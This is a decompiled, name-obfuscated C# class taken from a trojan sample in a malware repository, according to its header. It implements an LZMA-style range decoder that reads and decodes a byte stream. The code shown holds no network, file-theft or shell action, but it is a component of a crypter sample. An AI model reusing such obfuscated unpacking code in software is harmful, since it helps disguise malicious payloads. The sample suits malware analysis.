// Decompiled with JetBrains decompiler
// Type: .
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: FDB51CCF-17DB-449B-9FC5-9CC5BC4D8467
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hljj-824442c3b08cd57806281c14b139802b598ca9e1a1ff580a2aaaaa8937706a6c.exe

using System.IO;

namespace \u0001\u0005
{
  internal class \u0006\u0005
  {
    public const uint \u0006\u001E = 16777216;
    public uint \u000F;
    public uint \u0007\u000D;
    public Stream Stream;

    public void \u0001\u001B(Stream stream)
    {
      this.Stream = stream;
      this.\u0007\u000D = 0U;
      this.\u000F = uint.MaxValue;
      for (int index = 0; index < 5; ++index)
        this.\u0007\u000D = this.\u0007\u000D << 8 | (uint) (byte) this.Stream.ReadByte();
    }

    public void \u0002\u0017() => this.Stream = (Stream) null;

    public void \u0006\u0019() => this.Stream.Close();

    public void \u0003\u0010()
    {
      for (; this.\u000F < 16777216U; this.\u000F <<= 8)
        this.\u0007\u000D = this.\u0007\u000D << 8 | (uint) (byte) this.Stream.ReadByte();
    }

    public void \u0006\u001D()
    {
      if (this.\u000F >= 16777216U)
        return;
      this.\u0007\u000D = this.\u0007\u000D << 8 | (uint) (byte) this.Stream.ReadByte();
      this.\u000F <<= 8;
    }

    public uint \u0006\u001C(uint total) => this.\u0007\u000D / (this.\u000F /= total);

    public void \u0007\u000C(uint start, uint size, uint total)
    {
      this.\u0007\u000D -= start * this.\u000F;
      this.\u000F *= size;
      this.\u0003\u0010();
    }

    public uint \u0006\u001B(int numTotalBits)
    {
      uint num1 = this.\u000F;
      uint num2 = this.\u0007\u000D;
      uint num3 = 0;
      for (int index = numTotalBits; index > 0; --index)
      {
        num1 >>= 1;
        uint num4 = num2 - num1 >> 31;
        num2 -= num1 & num4 - 1U;
        num3 = (uint) ((int) num3 << 1 | 1 - (int) num4);
        if (num1 < 16777216U)
        {
          num2 = num2 << 8 | (uint) (byte) this.Stream.ReadByte();
          num1 <<= 8;
        }
      }
      this.\u000F = num1;
      this.\u0007\u000D = num2;
      return num3;
    }

    public uint \u0006\u001A(uint size0, int numTotalBits)
    {
      uint num1 = (this.\u000F >> numTotalBits) * size0;
      uint num2;
      if (this.\u0007\u000D < num1)
      {
        num2 = 0U;
        this.\u000F = num1;
      }
      else
      {
        num2 = 1U;
        this.\u0007\u000D -= num1;
        this.\u000F -= num1;
      }
      this.\u0003\u0010();
      return num2;
    }
  }
}
